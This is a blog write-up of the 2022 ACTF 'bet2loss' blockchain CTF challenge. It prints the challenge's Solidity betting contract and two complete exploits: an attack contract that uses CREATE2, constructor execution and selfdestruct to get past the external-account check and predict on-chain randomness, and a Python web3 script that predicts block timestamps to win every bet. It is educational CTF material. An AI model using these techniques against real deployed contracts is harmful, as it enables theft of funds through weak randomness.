区块链学习笔记之2022ACTF—bet2loss

  1. 题目合约
  2. 题目分析
  3. 解题思路
    1. 解题思路一:
    2. 解题思路二:

  是这一届的XCTF收官之战,不过只浅浅的参与了一下,做了一道blockchain的题目——bet2loss。听说还有web版本的做法,但还没见到是怎么做的,web这一块也不太了解。这篇文章主要还是讨论两种智能合约版本的做法。

题目合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract BetToken {
/* owner */
address owner;
/* token related */
mapping(address => uint256) public balances;

/* random related */
uint256 nonce;
uint256 cost;
uint256 lasttime;
mapping(address => bool) public airdroprecord;
mapping(address => uint256) public logger;

constructor() {
owner = msg.sender;
balances[msg.sender] = 100000;
nonce = 0;
cost = 10;
lasttime = block.timestamp;
}

function seal(address to, uint256 amount) public {
require(msg.sender == owner, "you are not owner");
balances[to] += amount;
}

function checkWin(address candidate) public {
require(msg.sender == owner, "you are not owner");
require(candidate != owner, "you are cheating");
require(balances[candidate] > 2000, "you still not win");
balances[owner] += balances[candidate];
balances[candidate] = 0;
}

function transferTo(address to, uint256 amount) public pure {
require(amount == 0, "this function is not impelmented yet");
}

function airdrop() public {
require(
airdroprecord[msg.sender] == false,
"you already got your airdop"
);
airdroprecord[msg.sender] = true;
balances[msg.sender] += 30;
}

function bet(uint256 value, uint256 mod) public {
address _addr = msg.sender;
// make sure pseudo-random is strong
require(lasttime != block.timestamp);
require(mod >= 2 && mod <= 12);
require(logger[msg.sender] <= 20);
logger[msg.sender] += 1;

require(balances[msg.sender] >= cost);
// watchout, the sender need to approve such first
balances[msg.sender] -= cost;

// limit
value = value % mod;

// not contract
uint32 size;
assembly {
size := extcodesize(_addr)
}
require(size == 0);

// rnd gen
uint256 rand = uint256(
keccak256(
abi.encodePacked(
nonce,
block.timestamp,
block.difficulty,
msg.sender
)
)
) % mod;
nonce += 1;
lasttime = block.timestamp;

// for one, max to win 12 * 12 - 10 == 134
// if 20 times all right, will win 2680
if (value == rand) {
balances[msg.sender] += cost * mod;
}
}
}

题目分析

  题目合约并不复杂,获取flag的条件只需要 require(balances[candidate] > 2000, "you still not win"); 有大于两千个代币即可。而获取代币有两个途径

  1. 通过空投 airdrop() 可以获取30个代币,但是一个账户只能调用一次。
  2. 通过猜数 bet ,一次花费10个代币,可以赢得2倍到12倍的本金,这取决于mod。但bet函数有三个限制:一个账户最多只能调用二十次;每个账户在每一个区块只能调用bet一次;只有外部账户可以调用bet。(因此一个账户最多可以通过bet获取到 (12 * 10 - 10 ) * 20 = 2200 个代币。

  显然,题目的流程就是我们通过空投得到本金,然后进行猜数。20次猜数,一次最多赚110,由于30块的空投本金,因此,想要最终获取2000+的代币,我们至少需要猜对 18 次 mod 为 12 的bet,且只能猜错一次。(猜错两次就只剩1990了)

  而需要猜的数字

1
2
3
4
5
6
7
8
9
10
uint256 rand = uint256(
keccak256(
abi.encodePacked(
nonce,
block.timestamp,
block.difficulty,
msg.sender
)
)
) % mod;

  nonce由题目合约记录,timestamp是区块的时间戳,difficulty是区块的复杂度,msg.sender是交易发起者,这些在区块打包的时候都是确定的,因此并没有什么难度。唯一需要绕过的点在于,bet要求交易发起者必须是外部账户

解题思路

解题思路一:

  这里我们需要用到两个工具:

  1. constructor函数:在EVM执行构造函数阶段,该合约地址尚不存在可执行代码。

  2. creat2函数:其可以在同一个地址反复部署合约(不过需要该地址前一个合约自毁)

  于是一个很自然的想法,利用create2函数在同一个地址反复部署攻击合约,而攻击合约将所有攻击操作写在constructor函数内,且constructor函数以自毁函数selfdestruct收尾。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pragma solidity ^0.8.0;

import "./bet.sol";

contract pwn {
constructor(address target, uint256 mod) public {
main m = main(msg.sender);
uint256 nonce = m.nonce();
BetToken t = BetToken(target);
if (t.balances(address(this)) == 0) {
t.airdrop();
}
uint256 value = uint256(
keccak256(
abi.encodePacked(
nonce,
block.timestamp,
block.difficulty,
address(this)
)
)
) % mod;
t.bet(value, mod);
selfdestruct(payable(msg.sender));
}
}

contract main {
address public a;
bytes32 public s = hex"42";
uint256 public nonce;

constructor(uint256 _nonce) public {
nonce = _nonce;
}

function hack(address target, uint256 mod) public {
a = address(new pwn{salt: s}(target, mod));
nonce++;
}
}

  首先获取题目合约的nonce,然后部署main,并不断调用hack函数即可。

image-20220630144041622

  实际题目部署在私链上,这里我们需要用一下python 的web3模块,具体操作可以参考这篇文章

  PS:在比赛的时候由于create2用错了,导致其实这条路并没有走通,一度以为自己想错了,是赛后看了这位师傅的wp才悟的。

解题思路二:

  上面的方法我们借用了constructor函数和create2函数的特性绕过了对合约账户的检测,为什么我们这里想要使用攻击合约去执行呢,主要是因为随机数的预测需要使用到几个在区块打包时使用的数据,虽然这些都是确认的,但是我们只能在区块打包后才获取到,而只有合约才能在区块打包时就获取到数据,比如时间戳。

  但是,这里我们是否可以预测一下呢?

  随机数涉及到的总共四个参数:其中nonce我们可以读合约的slot获取,msg.sender就是我们自己,复杂度经过测试发现一直是 2,而区块时间戳,由于题目坏境的限制,我们似乎无法读取,但是注意到题目的bet函数有记录时间戳为lasttime进slot的操作,于是这里我们不断地调用bet函数,然后读取合约存储的时间戳,发现,可能由于是私链的环境配置原因,出块时间是固定的,每一个新的区块的timestamp会加30,是线性的。于是我们可以获取一个区块作为起点,然后后续的区块根据区块高度就能够计算出timestamp了。具体计算规则 newtime = starttime + (newblock - startblock) * 30。不过实际操作的时候可能由于延迟还是啥的会有一丢丢偏差,可以在后面加一个offset。具体的offset可以在第一次猜的时候确定,然后后面就可以猜对19次了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from Crypto.Util.number import *
from web3 import Web3,HTTPProvider
from eth_abi.packed import encode_abi_packed
from eth_abi import encode_abi
import time

def deploy(rawTx):
signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey)
hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
receipt = web3.eth.waitForTransactionReceipt(hashTx)
return receipt

web3=Web3(HTTPProvider("http://123.60.36.208:8545"))
acct= web3.eth.account.from_key('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')

target="0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7"


airdrop = {
'from': acct.address,
'to': target,
'nonce': web3.eth.getTransactionCount(acct.address),
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 555555,
'value': web3.toWei(0, 'ether'),
'data': "0x3884d635",
"chainId": 6666
}

print("airdrop")
info=deploy(airdrop)
if info['status']==1:
print("airdrop done")
else:
print("sth error")


FLAG=True
offset=0
for i in range(0,20):
print(i)
nonce=bytes_to_long(web3.eth.getStorageAt(target,2))
diffcult=2
now_block=web3.eth.block_number
start_block=1485
start_time=1656158960
pre_time=(now_block-start_block)*30+start_time+offset #always 1230 due to init value
guess_num=bytes_to_long(Web3.keccak(encode_abi_packed(['uint256','uint','uint','address'],[nonce,pre_time,diffcult,acct.address])))%12

data_bet='0x6ffcc719'+hex(guess_num)[2:].rjust(64,'0')+'c'.rjust(64,'0')
bet = {
'from': acct.address,
'nonce': web3.eth.getTransactionCount(acct.address),
'to': target,
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 555555,
'value': web3.toWei(0, 'ether'),
'data': data_bet,
"chainId": 6666
}
info=deploy(bet)
if info['status']==1:
print("bet done",i)
else:
print("sth error")

nowtime=bytes_to_long(web3.eth.getStorageAt(target,4))
if FLAG:
offset = nowtime-pre_time
FLAG = False
print(web3.eth.block_number,pre_time,nowtime,nowtime-pre_time)
time.sleep(30)

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:区块链学习笔记之2022ACTF—bet2loss

文章字数:1.8k

本文作者:Van1sh

发布时间:2022-06-29, 15:23:00

最后更新:2022-08-18, 19:39:19

原始链接:http://jayxv.github.io/2022/06/29/区块链学习笔记之2022ACTF-bet2loss/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏